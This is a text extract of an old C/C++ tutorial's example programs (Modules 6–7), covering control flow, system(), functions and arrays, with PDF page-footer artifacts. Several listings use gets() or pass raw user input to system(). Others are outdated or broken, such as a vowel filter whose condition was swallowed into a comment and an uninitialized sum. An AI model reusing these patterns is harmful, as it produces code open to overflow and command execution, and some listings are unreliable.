printf("Printing a %% in a format control string\n");
return 0;
}

=============================MODULE6=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.

file:///C|/Tutorial.txt (79 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================

#include <stdio.h>

int main()
{
float rate = 5.0;
int hours = 25;

float pay = (float) hours * rate;


printf("\nPay = $%.2f \n", pay);
return 0;
}

---------------------------------------------------------------------------------------------------

//Chnage the header files accordingly for other C++ examples...


//#include <iostream>
//#include <cstdlib>
//using namespace std;

#include <iostream.h>

file:///C|/Tutorial.txt (80 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

#include <stdlib.h>

int main()
{
int job_code;
double housing_allowance, entertainment_allowance, car_allowance;

cout<<"Available job codes: 1 or non 1:\n"<<endl;


cout<<"Enter job code: ";
cin>>job_code;
//if 1 is selected
if(job_code==1)
{
car_allowance = 200.00;
housing_allowance = 800.00;
entertainment_allowance = 250.00;

cout<<"--THE BENEFITS--\n";
cout<<"Car allowance: "<<car_allowance<<endl;
cout<<"Housing allowance: "<<housing_allowance<<endl;
cout<<"Entertainment allowance: "<<entertainment_allowance<<endl;
}
//other than 1
else
{
car_allowance = 100.00;
housing_allowance = 400.00;
entertainment_allowance = 150.00;

cout<<"--THE BENEFITS--\n";
cout<<"Car allowance: "<<car_allowance<<endl;
cout<<"Housing allowance: "<<housing_allowance<<endl;
cout<<"Entertainment allowance: "<<entertainment_allowance<<endl;
}

system("pause");
return 0;
}

---------------------------------------------------------------------------------------------

#include <iostream.h>
#include <stdlib.h>

int main()
{

char job_title;
int years_served, no_of_pub;

cout<<"Enter data \n";


cout<<"Current job (Tutor-T, lecturer-L, Assoc prof-A): ";
cin>>job_title;
cout<<"Years served: ";
cin>>years_served;
cout<<"No of publication: ";

file:///C|/Tutorial.txt (81 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cin>>no_of_pub;

if(job_title == 'T')
{
if(years_served > 15)
if(no_of_pub > 10)
cout<<"\nPromote to lecturer";
else
cout<<"\nMore publications required";
else
cout<<"\nMore service required";
}
else if(job_title == 'L')
{
if(years_served > 10)
if(no_of_pub > 5)
cout<<"\nPromote to Assoc professor";
else
cout<<"\nMore publications required";
else
cout<<"\nMore service required";
}
else if(job_title == 'A')
{
if(years_served > 5)
if(no_of_pub > 5)
cout<<"\nPromote to professor";
else
cout<<"\nMore publications required";
else
cout<<"\nMore service required";
}

cout<<"\n";

system("pause");
return 0;
}

-------------------------------------------------------------------------------------

#include <iostream.h>
#include <stdlib.h>

int main()
{
int mark;

cout<<"Enter student's mark: ";


cin>>mark;

if (mark < 40)


cout<<"Student grade = F";
else if (mark < 50)
cout<<"Student grade = E";
else if (mark < 60)

file:///C|/Tutorial.txt (82 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"Student grade = D";


else if (mark < 70)
cout<<"Student grade = C";
else if (mark < 80)
cout<<"Student grade = B";
else
cout<<"Student grade = A";
cout<<"\n";

system("pause");
return 0;
}

--------------------------------------------------------------------------------------

//Program example of if-else statement. This program


//is to test whether a banking transaction is a deposit,
//withdrawal, transfer or an invalid transaction,
//and to take the necessary action.

#include <iostream.h>
#include <stdlib.h>

int main()
{
float amount;
char transaction_code;

cout<<"D - Cash Deposit, W - Cash Withdrawal, T - Cash Transfer\n";


cout<<"\nEnter the transaction code(D, W, T); ";

cin>>transaction_code;

if (transaction_code == 'D')
{
cout<<"\nDeposit transaction";
cout<<"\nEnter amount: ";
cin>>amount;
cout<<"\nPROCESSING....Please Wait";
cout<<"\nAmount deposited: "<<amount;
cout<<"\n---THANK YOU!/TERIMA KASIH!---";
}
else
if (transaction_code == 'W')
{
cout<<"\nWithdrawal transaction";
cout<<"\nEnter amount: ";
cin>>amount;
cout<<"\nPROCESSING....Please Wait";
cout<<"\nAmount withdrawn: "<<amount;
cout<<"\n---THANK YOU!/TERIMA KASIH!---";
}
else
if (transaction_code == 'T')
{
cout<<"\nTransfer transaction";

file:///C|/Tutorial.txt (83 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"\nEnter amount: ";


cin>>amount;
cout<<"\nPROCESSING....Please Wait";
cout<<"\nAmount transferred: "<<amount;
cout<<"\n---THANK YOU!/TERIMA KASIH!---";
}
else {
cout<<"\nInvalid transaction!!";
cout<<"D = Deposit, W = Withdrawal, T = Transfer";
cout<<"\nPlease enters the correct transaction code: ";
}
cout<<"\n";

system("pause");
return 0;
}

---------------------------------------------------------------------------------

//Sample program, Menu selection


#include <iostream.h>
#include <stdlib.h>

int main()
{
char selection;

cout<<"\n Menu";
cout<<"\n========";

cout<<"\n A - Append";
cout<<"\n M - Modify";
cout<<"\n D - Delete";
cout<<"\n X - Exit";
cout<<"\n Enter selection: ";
cin>>selection;
switch(selection)
{
case 'A' : {cout<<"\n To append a record\n";}
break;
case 'M' : {cout<<"\n To modify a record";}
break;
case 'D' : {cout<<"\n To delete a record";}
break;
case 'X' : {cout<<"\n To exit the menu";}
break;
//Other than A, M, D and X...
default : cout<<"\n Invalid selection";
//No break in the default case
}
cout<<"\n";

system("pause");
return 0;
}

file:///C|/Tutorial.txt (84 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

-----------------------------------------------------------------------------------

//A simple for statement


#include <stdio.h>
#include <stdlib.h>

void main()
{
int count;

//display the numbers 1 through 10


for(count = 1; count <= 10; count++)
printf("%d ", count);
printf("\n");

system("pause");
}

-----------------------------------------------------------------------------------

//program to show the nested loops


#include <iostream.h>
#include <stdlib.h>

int main()
{
//variables for counter…
int i, j;

//outer loop, execute this first...


for(i=1; i<11; i++)
{
cout<<"\n"<<i;

//then...execute inner loop with loop index j


//the initial value of j is i + 1
for(j=i+1; j<11; j++)
//Display result…
cout<<j;
//increment counter by 1 for inner loop…
}
//increment counter by 1 for outer loop…
cout<<"\n";

system("pause");
return 0;
}

-------------------------------------------------------------------------------------

/*Nesting two for statements*/


#include <stdio.h>
#include <stdlib.h>

//function prototype
void DrawBox(int, int);

file:///C|/Tutorial.txt (85 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

void main()
{
//row = 10, column = 25...
//function call
DrawBox(10, 25);
}

void DrawBox(int row, int column)


{
int col;

//row, execute outer for loop...


//start with the preset value and decrement
//until 1
for( ; row > 0; row--)
{
//column, execute inner loop...
//start with preset col, decrement until 1
for(col = column; col > 0; col--)
//print #....
printf("#");
//decrement by 1 for inner loop...
//go to new line for new row...
printf("\n");
}
//decrement by 1 for outer loop...then repeat...

system("pause");
}

--------------------------------------------------------------------------------------

//Demonstrates a simple while statement


#include <stdio.h>
#include <stdlib.h>

int main()
{
int calculate;

//print the numbers 1 through 12


//set the initial value...
calculate = 1;

//set the while condition...


while(calculate <= 12)
{
//display...
printf("%d ", calculate);
//increment by 1...repeats
calculate++;
}
printf("\n");

system("pause");

file:///C|/Tutorial.txt (86 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

return 0;
}

--------------------------------------------------------------------------------------

//Nested while statements


#include <stdio.h>
#include <stdlib.h>

//this program have some array variable


//that you will learn in another module...
void main()
{
//array variable...
int arrange[5];
//normal variable
int count = 0,
number = 0;

printf("\Prompting you for 5 numbers\n");


printf("Each number should be from 1 to 10\n");

//while condition...
while(count<5)
{
//set the initial condition...
number = 0;

//another while condition...


while((number < 1) || (number > 10))
{
printf("Enter number %d of 5: ", count + 1);
scanf("%d", &number);
}
//inner while loop stop here...
arrange[count] = number;
count++;
}
//outer while loop stop here...

//start the for loop for printing the result...


for (count = 0; count < 5; count++)
printf("\nValue %d is %d", count + 1, arrange[count]);
printf("\n");

system("pause");
}

--------------------------------------------------------------------------------------

//program to illustrate a do…while loop


#include <iostream.h>
#include <stdlib.h>

int main()
{

file:///C|/Tutorial.txt (87 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

int selection;

do
{
cout<<"\n Menu"<<"\n";
cout<<"\n 0. Exit";
cout<<"\n 1. Append";
cout<<"\n 2. Delete";
cout<<"\n 3. Modify";
cout<<"\n\n Enter selection: ";
cin>>selection;
}while((selection > 0) && (selection < 4));
//true for 1, 2 and 3 ONLY, then repeat
//false for other numbers including 0, then stop...
//the do loop is repeated if the while expression is true.

system("pause");
return 0;
}

------------------------------------------------------------------------------------

//another do…while statement example


#include <stdio.h>
#include <stdlib.h>

int get_menu_choice(void);

void main()
{
int choice;

choice = get_menu_choice();

printf("You have chosen Menu #%d\n", choice);


printf("\n");

system("pause");
}

int get_menu_choice(void)
{
int selection = 0;

do
{
printf("1 - Add a record");
printf("\n2 - Change a record");
printf("\n3 - Delete a record");
printf("\n4 - Quit");
printf("\nEnter a selection: ");
scanf("%d", &selection );
} while ((selection < 1) || (selection > 4));

return selection;
}

file:///C|/Tutorial.txt (88 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

----------------------------------------------------------------------------------

//example of the continue


#include <stdio.h>
#include <stdlib.h>

void main()
{
//declare storage for input, an array
//and counter variable
char buffer[81];
int ctr;

//input and read a line of text using


//puts() and gets() are pre defined functions
//in stdio.h
puts("Enter a line of text and press Enter key,");
puts("all the vowels will be discarded!:\n");
gets(buffer);

//go through the string, displaying only those


//characters that are not lowercase vowels
for(ctr=0; buffer[ctr] != '\0'; ctr++)
{
//If the character is a lowercase vowel, loop back
//without displaying it
//this if statement must be in one line if((buffer[ctr]=='a')||
(buffer[ctr]=='e')||
(buffer[ctr]=='i')||(buffer[ctr]=='o')||(buffer[ctr]=='u'))

continue;

//If not a vowel, display it


putchar(buffer[ctr]);
}
printf("\n");

system("pause");
}

-----------------------------------------------------------------------------------

//demonstrate the goto statement


#include <stdio.h>
#include <stdlib.h>

void main()
{
int n;
start: ;
puts("Enter a number between 0 and 10: ");
scanf("%d", &n);

if ((n < 0) || (n > 10))


goto start;

file:///C|/Tutorial.txt (89 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

else if (n == 0)
goto location0;
else if (n == 1)
goto location1;
else
goto location2;

location0: ;
{
puts("You entered 0.");
}
goto end;

location1: ;
{
puts("You entered 1.");
}
goto end;
location2: ;
{
puts("You entered something between 2 and 10.");
}
end: ;
system("pause");
}

----------------------------------------------------------------------------------

#include <stdlib.h>
#include <stdio.h>

//function prototypes...
void cleanup1(void);
void cleanup2(void);

void main()
{
atexit(cleanup2);
atexit(cleanup1);
//end of main
}

void cleanup1(void)
{
//dummy cleanup.....
printf("\nThis is the demonstration...\n");
printf("cleanup....\n");
printf("You computer is SHUTTING DOWN!!!");
getchar();
}

void cleanup2(void)
{
//another dummy cleanup...
printf("\nAnother cleanup...");

file:///C|/Tutorial.txt (90 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

printf("\nWINDOWS 20000 is closing the entire program...");


printf("\nPlease WAIT...");
printf("\nSHUTTING DOWN IN PROGRESS...\n");
getchar();
}

-----------------------------------------------------------------------------------

//Demonstrate the exit() and atexit() functions


#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#define DELAY 1500000

//function prototypes
void cleanup(void);
void delay(void);

void main()
{
int reply;

//register the function to be called at exit


atexit(cleanup);
puts("Enter 1 to exit, any other to continue.");
scanf("%d", &reply);

if(reply == 1)
exit(EXIT_SUCCESS);

//pretend to do some work


for(reply = 0; reply < 5; reply++)
{
puts("WORKING...");
delay();
}
}//end of main

//function definition...
void cleanup(void)
{
puts("\nPreparing for exit");
delay();
}

//function definition
void delay(void)
{
long x;
for(x = 0; x < DELAY; x++)
;
system("pause");
}

-----------------------------------------------------------------------------------

file:///C|/Tutorial.txt (91 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//Demonstrates the system() function


#include <stdio.h>
#include <stdlib.h>

void main()
{
//Declare a buffer to hold input
char input[40];

while (1)
{
//get the user command
puts("\nInput the desired DOS command, blank to exit");
gets(input);

//Exit if a blank line was entered


if(input[0] == '\0')
exit(0);

//execute the command


system(input);
}
}

----------------------------------------------------------------------------------

//program showing function definition, declaration, call and


//the use of the return statement
#include <iostream.h>
#include <stdlib.h>

int main()
{

float y1, y2, avgy;


//A prototype for the function avg()
//that main() is going to call
float avg(float, float);

y1=5.0;
y2=7.0;

//calling the function avg() i.e. control passes


//to avg() and the return value is assigned to avgy
avgy = avg(y1, y2);

cout<<"\ny1 = "<<y1<<"\ny2 = "<<y2;


cout<<"\nThe average is= "<<avgy<<endl;

system("pause");
return 0;
}

//Definition of the function avg(), avg() is


//of type float main() calls this function

file:///C|/Tutorial.txt (92 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

float avg(float x1, float x2)


{
//avgx is a local variable
float avgx;

//Computes average and stores it in avgx.


avgx = (x1+x2)/2;

//returns the value in avgx to main() and


//control reverts to main().
return avgx;
}

-------------------------------------------------------------------------------------

//program showing a function of type void


//It has return statement
#include <iostream.h>
#include <stdlib.h>

int main()
{
float y1, y2, avgy;

//function prototype...
//display-avg() is declared to be of type void
void display_avg(float);

y1 = 5.0;
y2 = 7.0;

cout<<"\ny1 = "<<y1<<"\ny2 = "<<y2;


avgy = (y1 + y2)/2; //compute average
display_avg(avgy); //call function display_avg()
cout<<endl;

system("pause");
return 0; //return the value 0 to the environment
}

//display_avg() is of type void


void display_avg(float avgx)
{
cout<<"\nThe average is = "<<avgx;
return;
//No value is returned to main()
//and control reverts to main().
//or just excludes the return word…
}

-------------------------------------------------------------------------------------

//A pyramid of $ using nested loops


#include <iostream.h>
#include <stdlib.h>
#define VIEW '$'

file:///C|/Tutorial.txt (93 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//replace any occurrences of VIEW with character $

int main()
{
int i, j;

cout<<"Let have money pyramid!\n"<<endl;

//first for loop, set the rows...


for(i=1; i<=10; i++)
{
//second for loop, set the space...
for(j=1; j<=10-i; j++)
cout<<" ";
//third for loop, print the $ characters...
for(j=1; j<=2*i-1; j++)
//print character...
cout<<VIEW;
//go to new line...
cout<<"\n";
}

system("pause");
return 0;
}

-------------------------------------------------------------------------------------

//using break statement in a for structure


#include <stdio.h>

int main()
{
int x;

for(x = 1; x <= 10; x++)


{
//break loop only if x == 5
if (x == 5)
break;
printf("%d ", x);
}
printf("\nBroke out of loop at x == %d\n", x);
getchar();
return 0;
}

-------------------------------------------------------------------------------------

//using the continue statement in a for structure


#include <stdio.h>
#include <stdlib.h>

int main()
{
int x;

file:///C|/Tutorial.txt (94 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

for(x = 1; x <= 10; x++)


{
//skip remaining code in loop only if x == 5
if(x == 5)
continue;
printf("%d ", x);
}
printf("\nUsed continue to skip printing the value 5\n");

system("pause");
return 0;
}

------------------------------------------------------------------------------------

//using for statement to calculate compound interest


#include <stdio.h>
#include <stdlib.h>
#include <math.h> //for pow() function

int main()
{
int year;
double amount, principal = 1000.0, rate = 0.05;

printf("%4s%21s\n", "Year", "Amount on deposit");

for(year = 1; year <= 10; year++)


{
amount = principal * pow(1.0 + rate, year);
printf("%4d%21.2f\n", year, amount);
}

system("pause");
return 0;
}

-------------------------------------------------------------------------------------

//Counting letter grades using while, switch


//and multiple case
#include <stdio.h>
#include <stdlib.h>

int main()
{
int grade;
int aCount=0,bCount=0,cCount=0,dCount=0,eCount=0,fCount = 0;

printf("Enter the letter grades. \n");


printf("Enter the EOF character, ctrl-c or\n");
printf("ctrl-z, etc to end input.\n");

while((grade = getchar()) != EOF)


{

file:///C|/Tutorial.txt (95 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//switch nested in while


switch(grade)
{
//grade was uppercase A or lowercase a
case 'A': case 'a':
++aCount;
break;
//grade was uppercase B or lowercase b
case 'B': case 'b':
++bCount;
break;
//grade was uppercase C or lowercase c
case 'C': case 'c':
++cCount;
break;
//grade was uppercase D or lowercase d
case 'D': case 'd':
++dCount;
break;
//grade was uppercase E or lowercase e
case 'E': case 'e':
++eCount;
break;
//grade was uppercase F or lowercase f
case 'F': case 'f':
++fCount;
break;
//ignore these input
case '\n': case ' ':
break;
//catch all other characters
default:
{printf("Incorrect letter grade entered.\n");
printf("Enter a new grade.\n");}
break;
}
}
//Do the counting...
printf("\nTotals for each letter grade are:\n");
printf("\A: %d\n", aCount);
printf("\B: %d\n", bCount);
printf("\C: %d\n", cCount);
printf("\D: %d\n", dCount);
printf("\E: %d\n", eCount);
printf("\F: %d\n", fCount);

system("pause");
return 0;
}

----------------------------------------------VC++/VC++ .Net--------------------------------------------------

//using for statement to calculate compound interest


#include <cstdio>
//for pow() function
#include <cmath>

file:///C|/Tutorial.txt (96 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

int main()
{
int year;
double amount, principal = 1000.0, rate = 0.05;

printf("%4s%21s\n", "Year", "Amount on deposit");


for(year = 1; year <= 10; year++)
{
amount = principal * pow(1.0 + rate, year);
printf("%4d%21.2f\n", year, amount);
}
return 0;
}

--------------------------------------------GCC on fedora----------------------------------------------------

#include <stdio.h>

int main()
{
char job_title;
int years_served, no_of_pub;

printf(" ---Enter data---\n");


printf("Your current job (Tutor-T, Lecturer-L or Assoc. Prof-A): ");
scanf("%s", &job_title);
printf("Years served: ");
scanf("%d", &years_served);
printf("No of publication: ");
scanf("%d", &no_of_pub);

if(job_title == 'A')
if(years_served > 5)
if(no_of_pub > 7)
printf("\nCan be promoted to Professor\n");
else
printf("\nMore publications required lol! \n");
else
printf("\nMore service required lol\n");
else
printf("\nMust become Associate Professor first\n");
return 0;
}

-------------------------------------------------------------------------------------------

/*-----forloop.c-----------*/
/*-----First triangle-------*/
#include <stdio.h>

int main()
{
int i, j, k, l;

printf("Triangle lol!\n");

file:///C|/Tutorial.txt (97 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

/*first for loop, set the rows...*/


for(i=15; i>=0; i--)
{
/*second for loop, set the space...*/
for(j=15; j>=1+i; j--)
printf(" ");
/*third for loop, print the characters...*/
for(j=1; j<=2*i+1; j++)
/*print the character...*/
printf("H");
/*go to new line...*/
printf("\n");
}

/*Another inverse triangle*/


for(k=1; k <= 16; k++)
{
for(l=1; l<=16-k; l++)
printf(" ");
for(l=1; l<=2*k-1; l++)
printf("T");
printf("\n");
}
return 0;
}

---------------------------------------------------------------------------------------------

/*-----------whilelol.c---------------*/
/*Demonstrates a simple while statement*/
#include <stdio.h>

int main()
{
int calculate, sum = 0;

/*print the numbers 1 through 12*/


/*set the initial value...*/
calculate = 1;

/*set the while condition...*/


while(calculate <= 10)
{
/*display...*/
printf("%d -->Sum = %d\n", calculate, sum);
sum = sum + calculate;
/*increment by 1...repeats*/
calculate++;
}
printf("\n");
return 0;
}

-----------------------------------------------------------------------------------------------

file:///C|/Tutorial.txt (98 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

/*----- systemcall.c -------*/


/*Demonstrate the system() function*/
#include <stdio.h>
#include <stdlib.h>

int main()
{
//Declare a buffer to hold input
char input[40];

while (1)
{
//get the user command
puts("\nInput the command, blank to exit");
gets(input);
//Exit if a blank line was entered
if(input[0] == '\0')
exit(0);
//execute the command

system(input);
}
return 0;
}

=================================MODULE7===================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}

file:///C|/Tutorial.txt (99 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================

//Program to find the total of all the elements in array y


//Change the header files accordingly for C++ codes...
//#include <iostream>
//#include <cstdlib>
//using namespace std;

#include <iostream.h>
#include <stdlib.h>
//replace every n occurrences with 7
#define n 7

int main()
{
int i, total = 0, y[n] = {6,9,2,4,5,23,12};

for (i=0; i<n; i++)


{
//display the array contents...
cout<<y[i]<<" ";
//do the summing up...
total = total + y[i];
}
//display the result...
cout<<"\nSum of 7 numbers in an array is = "<<total<<endl;

system("pause");
return 0;
}

--------------------------------------------------------------------------------------

//program to find the total values of an


//array y by passing an array to a function

file:///C|/Tutorial.txt (100 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//using pointer
#include <iostream.h>
#include <stdlib.h>
#define n 7

//function prototype
int get_total(int*, int);

int main()
{
int total, y[n]={6,9,2,4,5,23,12};

cout<<"\nCalling function get_total(y, n),";


cout<<"\nBy bringing along the value of y, an array";
cout<<"\nfirst address and n = 7, an array size.";
cout<<"\nAn array name, is the pointer to the";
cout<<"\n1st element of an array\n\n";

//function call, pass along the pointer to the first


//array element and the array size, and the
//return result assign to variable total
total = get_total(y, n);

cout<<"\nSum of the 7 array elements is "<<total<<endl;

system("pause");
return 0;
}

//Function definition
int get_total(int *ptr, int x)
{
int i, total = 0;

//do the looping for array elements...


for(i=0; i<x; i++)
{
//displays the array content, pointed by pointer...
cout<<*(ptr+i)<<" ";
//do the summing up of the array elements...
total += *(ptr+i); //total=total + *(ptr+i);
}
//return the result to the calling program...
return total;
}

----------------------------------------G++ Linux/Fedora example------------------------------------------------

//**********gccarray.C or gccarray.cpp************
//program to find the total values of an
//************FeDoRa 3, g++ x.x.x**********
//array y by passing an array to a function
//using pointer
#include <iostream>
#define n 7
using namespace std;

file:///C|/Tutorial.txt (101 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//function prototype
int get_total(int*, int);

int main()
{
int total, y[n]={6,9,2,4,5,23,12};

cout<<"\nCalling function get_total(y, n),";


cout<<"\nBy bringing along the value of y, an array";
cout<<"\nfirst address and n = 7, an array size.";
cout<<"\nAn array name, is the pointer to the";
cout<<"\n1st element of an array\n\n";

//function call, pass along the pointer to the first


//array element and the array size, and the
//return result assign to variable total
total = get_total(y, n);

cout<<"\nSum of the 7 array elements is "<<total<<endl;


return 0;
}

//Function definition
int get_total(int *ptr, int x)
{
int i, total = 0;
//do the looping for array elements...
for(i=0; i<x; i++)
{
//displays the array content, pointed by pointer...
cout<<*(ptr+i)<<" ";
//do the summing up of the array elements...
total += *(ptr+i); //total=total + *(ptr+i);
}
//return the result to the calling program...
return total;
}

--------------------------------------------------------------------------------

//program to find the smallest number in an array named balance,


//simple search function
#include <iostream.h>
#include <stdlib.h>
#define n 10

int main()
{
int i;
float small, balance[n]={100.00,40.00,-30.00,400.00,60.00,-25.00,-24.00,0.00, 3.24,0.50};
small = balance[0];

//loop for displaying array content....


for(i=0; i<n; i++)
cout<<balance[i]<<" ";

file:///C|/Tutorial.txt (102 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//Another loop do the array element comparing...


//check until condition i=n
for(i=1; i<n; i++)
{
if(small > balance[i])
small = balance[i];
}
cout<<"\nSearching..."<<endl;
//display the result...
cout<<"The smallest value in the given array is = "<<small<<endl;

system("pause");
return 0;
}

---------------------------------------------------------------------------------

//Simple sorting program that sort a list of n


//integer numbers, entered by the user (ascending)
#include <iostream.h>
#include <stdlib.h>
#define maxsize 100

int main()
{
int temp, i, j, n, list[maxsize];

cout<<"\n--You are prompted to enter your list size.--";


cout<<"\n--Then, for your list size, you are prompted to enter--";
cout<<"\n--the element of your list.--";
cout<<"\n--Finally your list will be sorted ascending!!!--\n";

//get the list size...


cout<<"\nEnter your list size: ";
cin>>n;

//prompting the data from user store in the list...


for(i=0; i<n; i++)
{
cout<<"Enter list's element #"<<i<<"-->";
cin>>list[i];
}

//do the sorting...


for(i=0; i<n-1; i++)
for(j=i+1; j<n; j++)
if(list[i] > list[j])
{
//These three lines swap the elements
//list[i] and list[j].
temp = list[i];
list[i] = list[j];
list[j] = temp;
}
cout<<"\nSorted list, ascending: ";

file:///C|/Tutorial.txt (103 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

for(i=0; i<n; i++)


cout<<" "<<list[i];
cout<<endl;
system("pause");
return 0;
}

---------------------------------------------------------------------------------

//Printing 3x3 array's subscript and their element


#include <iostream.h>
#include <stdlib.h>
#define m 3
#define n 3

int main()
{
int i, j;
int x[m][n]={{10,25,33}, {21,32,43},{20,42,51}};

cout<<"\n3x3 arrays' subscripts and\n";


cout<<"their respective elements\n";
cout<<"--------------------------\n";

//outer for loop, reading the row by row...


for(i=0; i<m; i++)
//inner loop, for every row, read every column by column...
for(j=0; j<n; j++)
cout<<"["<<i<<"]"<<"["<<j<<"]"<<"="<<x[i][j]<<"\n";

system("pause");
return 0;
}

----------------------------------------------------------------------------------

//using two-dimensional array to compute the


//average of all the elements in array named x
#include <iostream.h>
#include <stdlib.h>
#define m 4
#define n 5

int main()
{
int i, j, total = 0;
//4x5 or [4][5] array variable with initial values...
int q[m][n]={{4,5,6,2,12},{10,25,33,22,11},{21,32,43,54,65},{3,2,1,5,6}};

float average;

//outer for loop, read row by row...


for(i=0; i<m; i++)
//inner for loop, for every row, read column by column
for(j=0; j<n; j++)

file:///C|/Tutorial.txt (104 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//get the summation of the array elements.


{
//display the array...
cout<<"q["<<i<<"]["<<j<<"] = "<<q[i][j]<<endl;
total=total + q[i][j];
}
//calculate the average
//simple typecast from int to float...
average = (float)total/(float) (m*n);

cout<<"\nThis program will calculate the average of the";


cout<<"\n4 x 5 array, which means the sum of the";
cout<<"\narray's element, divide the number of the";
cout<<"\narray's element....";
cout<<"\nProcessing.... PLEASE WAIT\n";

//display the average


cout<<"Average = "<<total<<"/"<<m*n<<endl;
cout<<"\nThe Average = "<<average<<endl;

system("pause");
return 0;
}

--------------------------------------------------------------------------------

//program to compute the square root of the sum


//of the squares of all the elements in array x
#include <iostream.h>
#include <stdlib.h>
#include <math.h>
#define m 4
#define n 5

int main()
{
int i, j;
int x[m][n]={{4,5,6,2,12},{10,25,33,22,11},{21,32,43,54,65},{3,2,1,5,6}};

float sum2, result;

//outer for loop, read row by row...


for(i=0; i<m; i++)
{//inner for loop, for every row, read column by column
for(j=0; j<n; j++)
{
//set some condition here to avoid divides by 0...
if(x[i][j]>0)
//do the square of the array elements and then sum up...
sum2 = sum2 + pow(x[i][j], 2);
}
//assign the result to variable result...
//do the square root of the previous result....
result = sqrt(sum2);
}

file:///C|/Tutorial.txt (105 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//some story and printing the result...


cout<<"\nFirst, summing up all the arrays' element";
cout<<"\nThe given array has 4 x 5 in size,\n";
cout<<"\nThe sum is = "<<sum2;
cout<<"\nNext, square root the sum\n";
cout<<"\nThe answer is = "<<result<<"\n";

system("pause");
return 0;
}

----------------------------------------------------------------------------------

//multiplication of the matrix x and matrix


//y and stores the result in matrix z
#include <iostream.h>
#include <stdlib.h>
#define m 3
#define c 2
#define n 4

int main()
{
int i, j, k;
//first matrix...
int x[m][c] = {{1,2},{3,4},{5,6}};
//second matrix...
int y[c][n] = {{7,8,9,10},{11,12,13,14}};
//for storing the matrix product result...
int z[m][n];

for(i=0; i<m; i++)


for(j=0; j<n; j++)
{
z[i][j] = 0;
for(k=0; k<c; k++)
//same as z[i][j] = z[i][j] + x[i][k] * y[k][j];
z[i][j] += x[i][k] * y[k][j];
}
cout<<"\nMultiply matrix x and matrix y,";
cout<<"\nThen store the result in matrix z.";
cout<<"\nMatrix x is 3x2, and matrix y is 2x4,";
cout<<"\nso, the result, z should be matrix 3x4\n";
cout<<"\nThe matrix product is: \n";

for (i=0; i<m; i++)


{
cout<<"\n";
for(j=0; j<n; j++)
//display the result...
cout<<" "<<z[i][j];
}
cout<<endl;

system("pause");
return 0;

